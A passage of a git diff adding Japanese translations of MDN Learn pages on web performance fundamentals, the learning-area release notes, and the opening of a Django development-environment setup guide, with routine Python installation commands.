<li><strong>全体の読み込み時間を減らすこと</strong>：ウェブサイトを描画するためにリクエストされたファイルをユーザーのコンピューターにダウンロードするのにどれくらいの時間がかかりますか？この問いの答えは、ネットワークの<a href="/ja/docs/Web/Performance/Understanding_latency">レイテンシー</a>やファイルの大きさ、ファイルの数、その他様々な要因に影響を受けます。ひとつの一般的な戦略は、ファイルをできる限り小さくすること、HTTP リクエストの回数をできるだけ少なくすること、そしてファイルをより早く利用可能にするために、たとえば<a href="/ja/docs/Web/HTML/Preloading content">プリロード</a>のような、賢い読み込みのテクニックを使うことです。</li> + <li><strong>サイトをできる限り早く利用可能にすること</strong>：これはすなわち、ユーザーが実際により早く利用を開始できるように、ウェブサイトのアセットを意味のある順序で読み込むことを意味しています。ユーザーが最初のタスクに手をつけている間にバックグラウンドでその他のアセットの読み込みを続けます。必要になったときに必要なアセットだけを読み込む場合もあります（これを<a href="/ja/docs/Web/Performance/Lazy_loading">遅延読み込み</a>と言います。）サイトの読み込みを始めてから、そのサイトが最初に利用可能になるまでどのくらい時間がかかるか測定した値を <a href="/ja/docs/Glossary/Time_to_interactive">Time to Interactive</a> と呼びます。</li> + <li><strong>スムーズさとインタラクティブ性</strong>：そのアプリケーションは使っていて信頼でき、楽しいと感じられますか？スクロールはスムーズですか？ボタンはクリックできますか？ポップアップはすぐに開いてスムーズにアニメーションしますか？アプリケーションがスムーズだと感じさせるための様々なベストプラクティスがあります。たとえば、アニメーションのために JavaScript ではなく CSS を使うこと、DOM の変更により UI が要求する再描画の回数をできる限り少なくすることなどが挙げられます。</li> + <li><strong><a href="/ja/docs/Learn/Performance/perceived_performance">知覚されるパフォーマンス</a></strong>：ウェブサイトがユーザーにとっていかに速いように見せるかは、ウェブサイトが実際に速いがどうかよりもユーザーの体験への大きなインパクトがあります。ユーザーがパフォーマンスについてどう感じるかは重要です。あるいは、それは客観的な統計以上に重要です。しかし、それは主観的なもので、簡単に測定できるものではありません。知覚されたパフォーマンスは測定項目 (metric) ではなく、ユーザーからの見え方を表します。レイテンシーやそのほか何かの問題で操作に長い時間がかかる場合であっても、たとえば待ち時間の間にローディングスピナーを表示したり、便利なヒントやティップスを表示したり（他にはジョークや、その他適切だと思えるものであれば何でも良いです）することでユーザーのエンゲージを維持することは可能です。そういったアプローチはただ何も表示しないよりもずっと良いと言えます。何も表示されない時間は長く感じられ、その結果ユーザーはウェブサイトが壊れていると考えて利用をやめてしまう可能性もあります。</li> + <li><strong>パフォーマンスの測定</strong>：ウェブパフォーマンスにはアプリケーションの実際の速度と知覚的な速度を計測すること、パフォーマンスをできる限り最適化しその結果が維持されているか監視するという面があります。そこではいくつかのメトリクス（成功か失敗かを表す測定可能な指標）とそれらのメトリクスを測定するツールが必要になります。本記事の全体を通してそれらを検討します。</li> +</ul> + +<p>まとめると、たくさんの要素がパフォーマンスに影響を与えます。レイテンシー、アプリケーションのサイズ、DOM ノードの数、リクエストされるリソースの数、JavaScript の性能、CPU 負荷、その他いろいろです。それらの読み込みとレスポンスの時間を小さくすることが重要です。それから、ユーザーの体験上後で必要になる部分を同期で読み込むなどして、サイトが利用可能になる時間をできる限り早くすることでレイテンシーを感じさせないようにするといった追加の要素も重要です。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>:ウェブのパフォーマンスには、Time to load、Frames per second、<a href="/ja/docs/Glossary/Time_to_interactive">Time to interactive</a> のような客観的や測定結果とコンテンツの読み込みがどれくらい長く感じられるかといった主観的な経験の両方が含まれます。</p> +</div> + +<h2 id="How_content_is_rendered" name="How_content_is_rendered">コンテンツはどのように描画されるか</h2> + +<p>効率的にウェブパフォーマンス、その背後にある問題やここまでに挙げた主要なトピックを理解するためにはブラウザーがどのように動作するかについていくつかの詳細を理解することが必要です。これには以下のトピックが含まれます。</p> + +<ul> + <li><strong>ブラウザーはどのように動作するか</strong>：URL を入力し、<kbd>Enter</kbd> / <kbd>Return</kbd> を打ち込んだとき、ブラウザーはウェブサイトのファイルを持っているサーバーがどこにあるかを探しだし、そのサーバーとの接続を確立し、ファイルをリクエストします。詳しい概要は「<a href="/ja/docs/Web/Performance/How_browsers_work">ページの生成：ブラウザーはどのように動作するか</a>」を参照してください。</li> + <li><strong>ソースコードの順番</strong>：HTML の index ファイル上のソースの順番はパフォーマンスに重大な影響を及ぼす場合があります。index ファイルからリンクされた追加のアセットのダウンロードは、一般的にソースコードの順番に従ってシーケンシャルに実行されます。しかし、この部分はいくつかのリソースがそのコンテンツが解析、実行されるまで追加のダウンロードをブロックすることに気づくことで最適化できるようになります。</li> + <li><strong>クリティカルパス</strong>：これはファイルがサーバーからダウンロードされた後にブラウザーがウェブのドキュメントを構築するプロセスのことを指します。ブラウザーは明確に定義されたステップに従って、クリティカルレンダリングパスを最適化し、そのときのユーザーのアクションに関連するコンテンツの表示に優先順位をつけて、コンテンツの描画時間を大きく改善します。より詳しい情報は、<a href="/ja/docs/Web/Performance/Critical_rendering_path">Critical rendering path</a> を参照してください。</li> + <li><strong>ドキュメントオブジェクトモデル</strong>：ドキュメントオブジェクトモデル (DOM) は HTML のコンテンツと要素をツリーのノードとして表現するツリー構造を指します。そこには HTML のすべての属性とノード間の関係が含まれます。ページがロードされた後の追加の DOM 操作（たとえば、ノードの追加、削除、移動）はパフォーマンスに影響を与えます。そのため、DOM がどのように動作し、その問題をどのように和らげるかを理解するを理解することが重要です。詳しくは <a href="/docs/Web/API/Document_Object_Model">Document Object Model </a><a href="/ja/docs/Web/API/Document_Object_Model"> </a>を参照してください。</li> + <li><strong>レイテンシー</strong>：事前に述べましたが、簡単に言うと、レイテンシーとは、Web サイトのアセットがサーバーからユーザーのコンピューターまで移動するのにかかる時間のことです。そこには TCP と HTTP の接続を確立にかかるオーバーヘッドも含まれます。そして、リクエストとレスポンスのデータ (bytes) がネットワーク間を行き来するために必要となる避けようのないレイテンシーがあります。一方で、レイテンシーを減らすためのいくつかの方法があります。（たとえば、ダウンロードするファイルの数を減らすことで HTTP リクエストの数を減らすこと、CDN を利用してサイトのデータを世界中に効率よく展開すること、サーバーがより効率よくファイルを提供できるように HTTP/2 を利用することなどが挙げられます）このトピックに関わるすべての事柄は <a href="/ja/docs/Web/Performance/Understanding_latency">Understanding Latency</a> を参照してください。</li> +</ul> + +<h2 id="Conclusion" name="Conclusion">結論</h2> + +<p>以上です。ウェブパフォーマンスのトピックに関するこの簡潔な要約が、あなたが全体のアイデアを理解するための助けとなり、さらに学ぶ意欲をかき立てることができたなら幸いです。この後は知覚されたパフォーマンスを取り上げ、避けられないパフォーマンスへの影響を、ユーザーにとって深刻に見えないようにする、あるいは完全に気づかれないようにする賢い方法について見ていきます。</p> + +<p>{{PreviousMenuNext("Learn/Performance/why_web_performance", "Learn/Performance/Perceived_performance", "Learn/Performance")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Performance/why_web_performance">ウェブパフォーマンスの"なぜ"</a></li> + <li><a href="/ja/docs/Learn/Performance/What_is_web_performance">ウェブパフォーマンスとは何ですか？</a></li> + <li><a href="/ja/docs/Learn/Performance/Perceived_performance">ユーザーはパフォーマンスをどのように知覚しますか？</a></li> + <li><a href="/ja/docs/Learn/Performance/Measuring_performance">パフォーマンスの測定</a></li> + <li><a href="/ja/docs/Learn/Performance/Multimedia">Multimedia: images</a></li> + <li><a href="/ja/docs/Learn/Performance/video">Multimedia: video</a></li> + <li><a href="/ja/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a>.</li> + <li><a href="/ja/docs/Learn/Performance/HTML">HTML performance features</a></li> + <li><a href="/ja/docs/Learn/Performance/CSS">CSS performance features</a></li> + <li><a href="/ja/docs/Learn/Performance/Fonts">Fonts and performance</a></li> + <li><a href="/ja/docs/Learn/Performance/Mobile">Mobile performance</a></li> + <li><a href="/ja/docs/Learn/Performance/business_case_for_performance">パフォーマンスに光をあてる</a></li> +</ul> diff --git a/files/ja/learn/performance/why_web_performance/index.html b/files/ja/learn/performance/why_web_performance/index.html new file mode 100644 index 0000000000..fdc99200d6 --- /dev/null +++ b/files/ja/learn/performance/why_web_performance/index.html @@ -0,0 +1,101 @@ +--- +title: ウェブパフォーマンスの "なぜ" +slug: Learn/Performance/why_web_performance +tags: + - Beginner + - Introduction + - Learn + - Performance + - Reference + - Tutorial + - Web パフォーマンス +translation_of: Learn/Performance/why_web_performance +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Performance/What_is_web_performance", "Learn/Performance")}}</div> + +<p>ウェブパフォーマンスは、遅いプロセスを速く見せることも含めて、ウェブサイトを速くすることがすべてです。この記事では、なぜウェブパフォーマンスがサイト訪問者にとって、またビジネスの目標にとって重要なのかを紹介しています。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td> + <p>基本的なコンピュータリテラシー、<a href="/ja/docs/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a>、<a href="/ja/docs/Learn/Getting_started_with_the_web">クライアントサイドのウェブ技術</a>の基本的な知識。</p> + </td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>良いユーザー体験のために、なぜウェブパフォーマンスが重要なのか、その基礎知識を身につけること。</td> + </tr> + </tbody> +</table> + +<p>ウェブパフォーマンスとは、サイトのコンテンツの<strong>読み込み</strong>や<strong>レンダリング</strong>の速さ、ユーザーとのやりとりへの反応の速さを指します。パフォーマンスの悪いサイトは、表示に時間がかかり、入力への反応が遅くなります。パフォーマンスの悪いサイトは、サイトの離脱率を高めます。パフォーマンスが悪いと、最悪の場合、コンテンツに完全にアクセスできなくなります。Web パフォーマンスの良い目標は、ユーザーがパフォーマンスに気づかないことです。サイトパフォーマンスのパフォーマンスに対する個人の認識は主観的なものですが、読み込みとレンダリングは測定できます。パフォーマンスが良いことは、ほとんどのサイト訪問者には明らかではないかもしれませんが、ほとんどの人は停滞しているサイトをすぐに認識するでしょう。それが私たちが気にする理由です。</p> + +<h2 id="なぜパフォーマンスを気にするのか？">なぜパフォーマンスを気にするのか？</h2> + +<p class="summary">ウェブパフォーマンスとそれに付随するベストプラクティスは、ウェブサイトの訪問者が良い体験をするために不可欠です。ある意味では、ウェブパフォーマンスは<a href="/ja/docs/Learn/Accessibility">ウェブアクセシビリティ</a>のサブセットと考えることができます。アクセシビリティと同様にパフォーマンスでは、サイト訪問者がサイトにアクセスするために使用しているデバイスとデバイスの接続速度を考慮します。</p> + +<p class="summary">例として、この記事を書いている時点で、ファイルサイズが 22.6 MB を超える 400 以上の HTTP リクエストがあった CNN.com の読み込み体験を考えてみましょう。</p> + +<ul> + <li class="summary">光ファイバーネットワークに接続されたデスクトップコンピュータでこれをロードすることを想像してみてください。これは比較的高速で、ファイルサイズはほとんど関係ないと思われます</li> + <li class="summary">公共交通機関で通勤しながら、9年目の iPad でテザリングされたモバイルデータを使って同じサイトを読み込むことを想像してみてください。同じサイトの読み込みに時間がかかり、携帯電話の電波状況によっては使えなくなる可能性があります。読み込みが終わる前に諦めてしまうかもしれません</li> + <li class="summary">カバレッジが限られているか、カバレッジがないインドの農村部で、35 ドルの Huawei デバイスで同じサイトをロードすることを想像してみてください。サイトの読み込みには非常に時間がかかり、ブロッキングスクリプトがタイミングアウトする可能性があり、読み込みが行われると CPU に悪影響を与えてブラウザがクラッシュします</li> +</ul> + +<p class="summary">22.6 MB のサイトは、3G ネットワーク上での読み込みに最大 83 秒かかり、<code><a href="/ja/docs/Web/API/Document/DOMContentLoaded_event">DOMContentLoaded</a></code> (サイトのベースとなる HTML 構造の意味) は 31.86 秒でした。</p> + +<p class="summary">ダウンロードにかかる時間だけが大きな問題ではありません。多くの国では、いまだにメガバイト単位で請求されるインターネット接続があります。私たちの例では、22.6 MB の CNN.com をダウンロードするのに平均的なインド人の日給の約 11 % の費用がかかることになります。アフリカ北西部のモバイル・デバイスからだと、平均的な給料の2日分の費用がかかるかもしれません。 もしこのサイトが米国のキャリアの国際ローミングプランで読み込まれたとしたら？その費用に誰もが泣くことでしょう。("<a href="https://whatdoesmysitecost.com/">how much your site costs to download</a>" を参照)</p> + +<h3 dir="ltr" id="コンバージョン率を改善する">コンバージョン率を改善する</h3> + +<p>サイトのダウンロードとレンダリング時間を短縮することで、コンバージョン率とユーザー維持率が向上します。</p> + +<p><strong>コンバージョン率</strong>とは、サイト訪問者が測定された、または希望するアクションを実行する率のことです。例えば、購入する、記事を読む、ニュースレターを購読するなどです。コンバージョン率として測定されるアクションは、ウェブサイトのビジネス目標によって異なります。</p> + +<p>パフォーマンスはコンバージョンに影響を与えます。サイト訪問者は、サイトが2秒以内に読み込まれることを期待していますが、モバイル (一般的にはもっと時間がかかる) ではそれ以下になることもあります。同じサイト訪問者でも、遅いサイトを3秒で放棄し始めます。</p> + +<p>サイトの読み込み速度は1つの要因です。サイトがユーザーとのやり取りに反応するのが遅かったり、不愉快に見えたりすると、サイト訪問者は興味を失い、信頼を失います。</p> + +<p dir="ltr">ここでは、パフォーマンス向上の実例をいくつか紹介します。</p> + +<ul> + <li dir="ltr"> + <p dir="ltr"><a href="https://wpostats.com/2018/05/30/tokopedia-new-users.html">Tokopedia reduced render time from 14s to 2s for 3G connections and saw a 19% increase in visitors, 35% increase in total sessions, 7% increase in new users, 17% increase in active users and 16% increase in sessions per user.</a></p> + </li> + <li dir="ltr"> + <p dir="ltr"><a href="https://wpostats.com/2017/03/10/pinterest-seo.html">Rebuilding Pinterest pages for performance resulted in a 40% decrease in wait time, a 15% increase in SEO traffic and a 15% increase in conversion rate to signup.</a></p> + </li> +</ul> + +<p class="summary">サイト訪問者を惹きつけ、維持するためには、アクセスしやすいサイトを作成し、優れたユーザー体験を提供する必要があります。ウェブサイトを構築するには、HTML、CSS、JavaScript が必要であり、通常は画像や動画などのバイナリファイルタイプも含まれます。サイトを構築する際の決定やツールの選択は、完成した作品のパフォーマンスに大きく影響します。</p> + +<p class="summary">良いパフォーマンスは資産です。パフォーマンスが悪ければ負債となります。サイトの速度は、バウンス率、コンバージョン、収益、ユーザー満足度、検索エンジンランキングに直接影響します。パフォーマンスの高いサイトは、訪問者の維持率とユーザーの満足度を高めることが示されています。遅いコンテンツはサイトの放棄につながることが示されており、訪問者の中には二度と戻ってこない人もいます。クライアントとサーバーの間を通過するデータ量を減らすことで、すべての関係者のコストを削減します。HTML/CSS/JavaScript とメディアファイルのサイズを減らすことで、ロード時間とサイトの消費電力の両方を削減できます (<a href="/ja/docs/Web/Performance/Performance_budgets">パフォーマンス予算</a>を参照)。</p> + +<p>パフォーマンスのトラッキングは重要です。ネットワーク速度やデバイスの機能など、複数の要因がパフォーマンスに影響を与えます。また、ビジネスの目的が違えば、サイトやサポートしている組織の目標に応じて、異なるメトリクスの方がより関連性が高いことを意味する場合もあります。サイトのパフォーマンスがどのように認識されるかは、ユーザー体験です。</p> + +<h2 id="まとめ">まとめ</h2> + +<p>ウェブパフォーマンスは、アクセシビリティだけでなく、組織やビジネスの目標を達成するための他のWeb サイトの測定基準にとっても重要です。ウェブサイトのパフォーマンスの良し悪しは、ほとんどのサイトの全体的な有効性と同様に、ユーザーエクスペリエンスと強力に相関しています。これが、ウェブパフォーマンスに注意を払うべき理由です。</p> + +<p>{{NextMenu("Learn/Performance/What_is_web_performance", "Learn/Performance")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Performance/why_web_performance">ウェブパフォーマンスの"なぜ"</a></li> + <li><a href="/en-US/docs/Learn/Performance/What_is_web_performance">ウェブパフォーマンスとは何ですか？</a></li> + <li><a href="/en-US/docs/Learn/Performance/Perceived_performance">ユーザーはパフォーマンスをどのように知覚しますか？</a></li> + <li><a href="/en-US/docs/Learn/Performance/Measuring_performance">パフォーマンスの測定</a></li> + <li><a href="/en-US/docs/Learn/Performance/Multimedia">Multimedia: images</a></li> + <li><a href="/en-US/docs/Learn/Performance/video">Multimedia: video</a></li> + <li><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a>.</li> + <li><a href="/en-US/docs/Learn/Performance/HTML">HTML performance features</a></li> + <li><a href="/en-US/docs/Learn/Performance/CSS">CSS performance features</a></li> + <li><a href="/en-US/docs/Learn/Performance/Fonts">Fonts and performance</a></li> + <li><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></li> + <li><a href="/en-US/docs/Learn/Performance/business_case_for_performance">パフォーマンスに光をあてる</a></li> +</ul> diff --git a/files/ja/learn/release_notes/index.html b/files/ja/learn/release_notes/index.html new file mode 100644 index 0000000000..983ad71fef --- /dev/null +++ b/files/ja/learn/release_notes/index.html @@ -0,0 +1,69 @@ +--- +title: 学習エリアのリリースノート +slug: Learn/Release_notes +tags: + - Learn + - Release Notes +translation_of: Learn/Release_notes +--- +<div>{{learnsidebar}}</div> + +<p>This page details significant changes made to the learning area. Check back here if you want to know what new content is available, and what existing content has been improved.</p> + +<p>If you want to give feedback on any of these new additions, please leave comments in our <a href="https://discourse.mozilla.org/c/mdn">Discourse forum</a>.</p> + +<h2 id="June_2020">June 2020</h2> + +<p>Our <a href="/en-US/docs/Learn/Front-end_web_developer">Front-end web developer learning pathway</a> is officially launched! Check it out for an opinionated pathway to follow for learning front-end development! Also see our hacks post — <a href="https://hacks.mozilla.org/2020/06/introducing-the-mdn-web-docs-front-end-developer-learning-pathway/">Introducing the MDN Web Docs Front-end developer learning pathway</a> — for more information about the rationale behind it.</p> + +<h2 id="May_2020">May 2020</h2> + +<p>Our <a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks">Understanding client-side JavaScript frameworks</a> module is now available. Learn why frameworks exist, when you should use one (and when you shouldn't), what kinds of features are common to all frameworks, and how they relate to the vanilla JavaScript you may already know. Once you have a general understanding of frameworks, move on to tutorial series covering popular frameworks like React, Ember, and Vue.</p> + +<p>Our <a href="/en-US/docs/Learn/Forms">Web Forms</a> learning module now has "Test your skills" assessments accompanying the articles.</p> + +<h2 id="April_2020">April 2020</h2> + +<p>Our new <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools">Understanding client-side web development tools</a> module has been released! Learn the essentials of web development tooling, including what kind of tools exist, the command line, package managers, and how to assemble your own functioning tool chain.</p> + +<h2 id="March_2020">March 2020</h2> + +<p>You'll now find "Test your skills" assessments accompanying the articles in the following modules:</p> + +<ul> + <li><a href="/en-US/docs/Learn/CSS/Building_blocks">CSS building blocks</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks">JavaScript building blocks</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects">Introducing JavaScript objects</a></li> +</ul> + +<h2 id="January_2020">January 2020</h2> + +<p>The HTML forms module has been significantly updated:</p> + +<ul> + <li>It has been retitled <a href="/en-US/docs/Learn/Forms">Web forms</a>, and moved out of the HTML topic area to recognise that it covers more than just HTML form elements — it also covers styling, validation, the basics of how to send data and process it on the server, and more besides.</li> + <li>It has new examples available and techniques covered.</li> + <li>It has a new structure to make for a more effective learning experience.</li> +</ul> + +<p>More "Test your skills" sections have been added. You can see these on:</p> + +<ul> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox#Test_your_skills!">CSS layout: Flexbox</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids#Test_your_skills!">CSS layout: Grids</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats#Test_your_skills!">CSS layout: Floats</a></li> +</ul> + +<h2 id="December_2019">December 2019</h2> + +<p>We are adding a new type of assessment article to the learning area — "Test your skills" — which will offer several short questions aimed at rapidly testing whether you understood what is going on. This is in addition to the longer Assessment articles that you'll find in some of the learning modules already. You will find these new articles linked in "Test your skills" sections at the bottom of relevant articles. You can see these on:</p> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Test_your_skills!">HTML text fundamentals</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Test_your_skills!">Creating hyperlinks</a></li> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Test_your_skills!">Advanced text formatting</a></li> + <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#Test_your_skills!">Images in HTML</a></li> + <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content#Test_your_skills!">Video and audio content</a></li> + <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#Test_your_skills!">From object to iframe — other embedding technologies</a></li> +</ul> diff --git a/files/ja/learn/server-side/django/development_environment/index.html b/files/ja/learn/server-side/django/development_environment/index.html new file mode 100644 index 0000000000..ac824323ea --- /dev/null +++ b/files/ja/learn/server-side/django/development_environment/index.html @@ -0,0 +1,433 @@ +--- +title: Django 開発環境の設定 +slug: Learn/Server-side/Django/development_environment +tags: + - Python + - Webフレームワーク + - django + - サーバーサイドプログラミング +translation_of: Learn/Server-side/Django/development_environment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</div> + +<p class="summary">Djangoがどういうものか知ったので、Windows、Linux（Ubuntu）、およびmacOSでDjango開発環境をセットアップしてテストする方法を説明します。一般的なオペレーティングシステムを使っていれば、Djangoアプリケーションの開発を始められます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>ターミナル/コマンドラインを開く方法を知っていること。開発用コンピュータのオペレーティングシステムにソフトウェアパッケージをインストールする方法を知っていること。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>あなたのコンピュータでDjango(2.0)の開発環境を動かします。</td> + </tr> + </tbody> +</table> + +<h2 id="Django開発環境の概要">Django開発環境の概要</h2> + +<p>Djangoは自分のコンピュータをセットアップするのはとても簡単で、Webアプリケーションの開発を開始できます。このセクションでは、開発環境の内容を説明し、セットアップおよび構成オプションの一部の概要を示します。また、Ubuntu、macOS X、WindowsにDjango開発環境をインストールする際の推奨される方法と、そのテスト方法について説明します。</p> + +<h3 id="Django開発環境とは何ですか？">Django開発環境とは何ですか？</h3> + +<p>開発環境はDjangoをローカルコンピュータにインストールしたものです。Djangoアプリを開発し、運用環境にデプロイする前にテストできます。</p> + +<p>Django自体が提供する主なツールは、Djangoプロジェクトを作成して作業するためのPythonスクリプトと、ローカルの（つまり、外部のWebサーバーではなく）Django Webアプリケーションをあなたのコンピュータ上のウェブブラウザでテストするための簡単な開発用Webサーバーです。</p> + +<p>開発環境の一部を構成する他の周辺ツールがありますが、ここではカバーしません。これには、コードを編集するための<a href="/jadocs/Learn/Common_questions/Available_text_editors">テキストエディタ</a>やIDE、コードの異なるバージョンを安全に管理するための<a href="https://git-scm.com/">Git</a>のようなソース管理ツールなどがあります。すでにテキストエディタがインストールされていると仮定しています。</p> + +<h3 id="Djangoの構成オプションとは">Djangoの構成オプションとは?</h3> + +<p>Djangoは、インストール場所と設定の方法に関して非常に柔軟性があります。Djangoは次のようなことが可能です:</p> + +<ul> + <li>異なるオペレーティングシステムへのインストール</li> + <li>ソースコード、Pythonパッケージインデックス（PyPi）、および多くの場合ホストコンピュータのパッケージマネージャアプリケーションからのインストール</li> + <li>いくつかのデータベースのうち1つを使用するように構成したり、個別にインストールして構成する必要がある場合もあります。</li> + <li>メインシステムのPython環境または分離したPython仮想環境で実行します。</li> +</ul> + +<p>これらのオプションは、それぞれわずかに異なる構成とセットアップを必要とします。以下のサブセクションでは、いくつかの選択肢について説明します。この記事の残りの部分では、いくつかオペレーティングシステムにDjangoをセットアップする方法を説明します。このモジュールの残りの部分は、セットアップが済んでいる想定です。</p> + +<div class="note"> +<p><strong>ノート</strong>: その他のインストールオプションについては、Djangoの公式ドキュメントでカバーされています。<a href="#furtherreading">下記で適切なドキュメントにリンクしています。</a></p> +</div> + +<h4 id="どのオペレーティングシステムがサポートされていますか？">どのオペレーティングシステムがサポートされていますか？</h4> + +<p>DjangoのWebアプリケーションは、Python 3プログラミング言語を実行できるほとんどすべてのマシン（Windows、MacOS X、Linux / Unix、Solarisなど）で実行できます。ほとんどのコンピュータで開発中にDjangoを実行できるパフォーマンスが必要です。</p> + +<p>この記事では、Windows、macOS X、およびLinux/Unixについて説明します。</p> + +<h4 id="どのバージョンのPythonを使うべきですか？">どのバージョンのPythonを使うべきですか？</h4> + +<p>最新のバージョンを使用することをお勧めします - 執筆時点ではPython 3.6です。</p> + +<p>必要であればPython 3.4以上を使用できます（Python 3.4のサポートは将来のリリースでは廃止される予定です）。</p> + +<div class="note"> +<p><strong>ノート</strong>: Python 2.7はDjango 2.0では使用できません（Django 1.11.x系はPython 2.7をサポートする最後のバージョンです）。</p> +</div> + +<h4 id="どこでDjangoをダウンロードできますか？">どこでDjangoをダウンロードできますか？</h4> + +<p>Djangoをダウンロードする場所は3つあります:</p> + +<ul> + <li>pipを使用してPythonパッケージリポジトリ（PyPi）から。 これは、Djangoの最新の安定版を入手するための最良の方法です。</li> + <li>コンピュータのパッケージマネージャのバージョンを使用します。 オペレーティングシステムにバンドルされているDjangoのディストリビューションは、使い慣れたインストールメカニズムを提供します。 ただし、パッケージ化されたバージョンはかなり古く、システムのPython環境にのみインストールできます（これはあなたが望むものではないかもしれません）。</li> + <li>ソースからインストールします。 Djangoの開発版を入手してソースからインストールできます。 これは初心者にはお勧めできませんが、Django自身に貢献する準備ができたら必要です。</li> +</ul> + +<p>この記事ではPyPiからDjangoをインストールし、最新の安定版を入手する方法を説明します。</p> + +<h4 id="どのデータベースですか？">どのデータベースですか？</h4> + +<p>Djangoは4つの主要なデータベース（PostgreSQL、MySQL、Oracle、SQLite）をサポートしています。また、他の一般的なSQLデータベースやNOSQLデータベースにさまざまなレベルのサポートを提供するコミュニティライブラリもあります。 DjangoはObject-Relational Mapper（ORM）を使用して多くのデータベースの違いを抽象化していますが、<a href="https://docs.djangoproject.com/en/2.0/ref/databases/">回避する方が良い潜在的な問題</a>がまだあります。</p> + +<p>この記事（とこのモジュールのほとんど）では、データをファイルに保存するSQLiteデータベースを使用します。 SQLiteは軽量データベースとしての使用を目的としており、高度な並行性はサポートできません。 ただし、主に読み取り専用のアプリケーションには最適です。</p> + +<div class="note"> +<p><strong>ノート</strong>: Djangoは、標準ツール（django-admin）を使用してWebサイトプロジェクトを開始するときに、デフォルトでSQLiteを使用するように設定されています。 これは、追加の設定やセットアップが不要なため、入門には最適な選択です。</p> +</div> + +<h4 id="システム全体またはPythonの仮想環境にインストールするには？">システム全体またはPythonの仮想環境にインストールするには？</h4> + +<p>Python3をインストールすると、すべてのPython3コードで共有される単一のグローバル環境が得られます。 環境に好きなPythonパッケージをインストールすることはできますが、一度に1つのパッケージしかインストールできません。</p> + +<div class="note"> +<p><strong>ノート</strong>: グローバル環境にインストールされたPythonアプリケーションは、お互いに衝突する可能性があります（例えば、同じパッケージの異なるバージョンに依存する場合）。 </p> +</div> + +<p>Djangoをデフォルト/グローバル環境にインストールすると、コンピュータ上でDjangoの1つのバージョンのみを対象にできます。 古いバージョンに依存しているWebサイトを維持しながら、新しいWebサイト（Djangoの最新バージョンを使用）を作成したい場合、これは問題になる可能性があります。</p> + +<p>その結果、経験豊富なPython/Django開発者は通常、独立したPython仮想環境内でPythonアプリケーションを実行します。これにより、1台のコンピュータ上で複数の異なるDjango環境を使用することができます。Djangoの開発チームは、Pythonの仮想環境を使用することをお勧めしています。</p> + +<p>このモジュールは以下に示す方法で、仮想環境にDjangoをインストールすることを前提としています。</p> + +<h2 id="Python_3のインストール">Python 3のインストール</h2> + +<p>Djangoを使用するには、オペレーティングシステムにPythonをインストールする必要があります。Python 3を使用している場合は、Djangoとその他のPythonアプリケーションで使用されるPythonパッケージ/ライブラリの管理（インストール、更新、削除）に使用する <a href="https://pypi.python.org/pypi">Python Package Index</a>ツール『pip3』も必要です。</p> + +<p>このセクションでは、Ubuntu Linux 16.04、macOS X、およびWindows 10のPythonのバージョンを確認し、必要に応じて新しいバージョンをインストールする方法を簡単に説明します。</p> + +<div class="note"> +<p><strong>ノート</strong>: 使用しているプラットフォームによっては、オペレーティングシステム独自のパッケージマネージャやその他のメカニズムを使ってPython/pipをインストールできます。ほとんどのプラットフォームでは、 <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a> から必要なインストールファイルをダウンロードし、適切なプラットフォーム固有の方法を使用してインストールできます。</p> +</div> + +<h3 id="Ubuntu_16.04">Ubuntu 16.04</h3> + +<p>Ubuntu Linux 16.04 LTSにはデフォルトでPython 3.5.2が含まれています。 これを確認するには、bash端末で次のコマンドを実行します:</p> + +<pre class="brush: bash"><span style="line-height: 1.5;">python3 -V + Python 3.5.2</span></pre> + +<p>しかし、Python 3（Djangoを含む）用のパッケージをインストールするために必要なPython Package Indexツールは、デフォルトでは利用できません。 次のコマンドを使用してbash端末にpip3をインストールできます:</p> + +<pre class="brush: bash">sudo apt-get install python3-pip +</pre> + +<h3 id="macOS_X">macOS X</h3> + +<p>macOS X "El Capitan"やその他の最近のバージョンにはPython 3は含まれていません。これはbash端末で次のコマンドを実行することで確認できます:</p> + +<pre class="brush: bash"><span style="line-height: 1.5;">python3 -V + </span>-bash: python3: command not found</pre> + +<p><a href="https://www.python.org/">python.org</a>のPython 3（pip3ツールと一緒に）を簡単にインストールできます:</p> + +<ol> + <li>必要なインストーラをダウンロードします: + <ol> + <li><a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a> を開きます</li> + <li><strong>Download Python 3.6.4</strong> ボタンを選択します（正確なマイナーバージョン番号は異なる場合があります）。</li> + </ol> + 